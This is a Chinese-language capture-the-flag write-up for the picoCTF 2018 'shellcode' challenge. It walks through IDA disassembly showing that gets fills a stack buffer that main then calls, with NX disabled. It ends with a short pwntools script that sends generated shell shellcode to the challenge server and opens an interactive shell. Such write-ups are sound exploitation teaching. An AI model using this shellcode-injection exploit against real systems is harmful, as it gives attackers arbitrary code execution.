picoctf_2018_shellcode

常规检查

  看题目提示就知道是 shellcode 题，看保护，果然 NX 防护没开启，这就意味着栈上的代码是可以执行的。

逆向分析

  文件函数众多，而且不能 ida f5 直接反编译，那只好手撸汇编代码

.text:080488A1 ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:080488A1                 public main
.text:080488A1 main            proc near               ; DATA XREF: _start+17o
.text:080488A1
.text:080488A1 var_A0          = byte ptr -0A0h
.text:080488A1 var_C           = dword ptr -0Ch
.text:080488A1 var_4           = dword ptr -4
.text:080488A1 argc            = dword ptr  0Ch
.text:080488A1 argv            = dword ptr  10h
.text:080488A1 envp            = dword ptr  14h
.text:080488A1
.text:080488A1                 lea     ecx, [esp+4]
.text:080488A5                 and     esp, 0FFFFFFF0h
.text:080488A8                 push    dword ptr [ecx-4]
.text:080488AB                 push    ebp
.text:080488AC                 mov     ebp, esp
.text:080488AE                 push    ecx
.text:080488AF                 sub     esp, 0A4h
.text:080488B5                 mov     eax, stdout
.text:080488BA                 push    0
.text:080488BC                 push    2
.text:080488BE                 push    0
.text:080488C0                 push    eax
.text:080488C1                 call    setvbuf
.text:080488C6                 add     esp, 10h
.text:080488C9                 call    getegid
.text:080488CE                 mov     [ebp+var_C], eax
.text:080488D1                 sub     esp, 4
.text:080488D4                 push    [ebp+var_C]
.text:080488D7                 push    [ebp+var_C]
.text:080488DA                 push    [ebp+var_C]
.text:080488DD                 call    setresgid
.text:080488E2                 add     esp, 10h
.text:080488E5                 sub     esp, 0Ch
.text:080488E8                 push    offset aEnterAString ; "Enter a string!"
.text:080488ED                 call    puts
.text:080488F2                 add     esp, 10h
.text:080488F5                 sub     esp, 0Ch
.text:080488F8                 lea     eax, [ebp+var_A0]
.text:080488FE                 push    eax
.text:080488FF                 call    vuln
.text:08048904                 add     esp, 10h
.text:08048907                 sub     esp, 0Ch
.text:0804890A                 push    offset aThanksExecutin ; "Thanks! Executing now..."
.text:0804890F                 call    puts
.text:08048914                 add     esp, 10h
.text:08048917                 lea     eax, [ebp+var_A0]
.text:0804891D                 call    eax
.text:0804891F                 mov     eax, 0
.text:08048924                 mov     ecx, [ebp+var_4]
.text:08048927                 leave
.text:08048928                 lea     esp, [ecx-4]
.text:0804892B                 retn
.text:0804892B main            endp

  直接从数据流分析，主函数有两个可疑点，分别是 080488FF call vuln 与 0804891D call eax 。一般的函数调用不会出现 call eax ，这里说明了 eax 在之前肯定被赋予了某部分的地址。至于 vuln ，多做 ctf 题就知道这种起名的函数一般是漏洞函数。 我们点进去看看

.text:0804887C ; Attributes: bp-based frame
.text:0804887C
.text:0804887C                 public vuln
.text:0804887C vuln            proc near               ; CODE XREF: main+5Ep
.text:0804887C
.text:0804887C arg_0           = dword ptr  8
.text:0804887C
.text:0804887C                 push    ebp
.text:0804887D                 mov     ebp, esp
.text:0804887F                 sub     esp, 8
.text:08048882                 sub     esp, 0Ch
.text:08048885                 push    [ebp+arg_0]
.text:08048888                 call    gets
.text:0804888D                 add     esp, 10h
.text:08048890                 sub     esp, 0Ch
.text:08048893                 push    [ebp+arg_0]
.text:08048896                 call    puts
.text:0804889B                 add     esp, 10h
.text:0804889E                 nop
.text:0804889F                 leave
.text:080488A0                 retn
.text:080488A0 vuln            endp

  注意到 vuln 中有 gets 函数的调用。他的参数是 ebp+arg_0 对应的地址，也就是在返回地址上一栈内存单元处，对应主函数中，我们可以看到

.text:080488F8                 lea     eax, [ebp+var_A0]
.text:080488FE                 push    eax
.text:080488FF                 call    vuln

  gets 函数写入的地址即为 [ebp+var_A0] 对应的地址，同时我们注意到

.text:08048917                 lea     eax, [ebp+var_A0]
.text:0804891D                 call    eax

  call 的地址即为 [ebp+var_A0] 所指向的地址

利用思路

  到这里思路就很明显了，我们先输入的内容会被 get 读取，存到内存 [ebp+var_A0] 中，然后在函数在后面的时候，会调用这一部分内容。所以我们只要写入 shellcode ，函数后面就会调用 shellcode 。至于 [ebp+var_A0] 是指向哪里 ，我们可以看到 main 函数中没有 offset 变量，所以这 [ebp+var_A0] 指的是局部变量，那就是在栈中，而 nx 保护没有开启，所以 shellcode 在栈上也可以执行。

from pwn import *

io =remote('node3.buuoj.cn',29911)

context.binary = 'PicoCTF_2018_shellcode'
shellcode = asm(shellcraft.sh())#可以自动生成二进制文件对应架构的 shellcode 

io.sendline(shellcode)

io.interactive()

get flag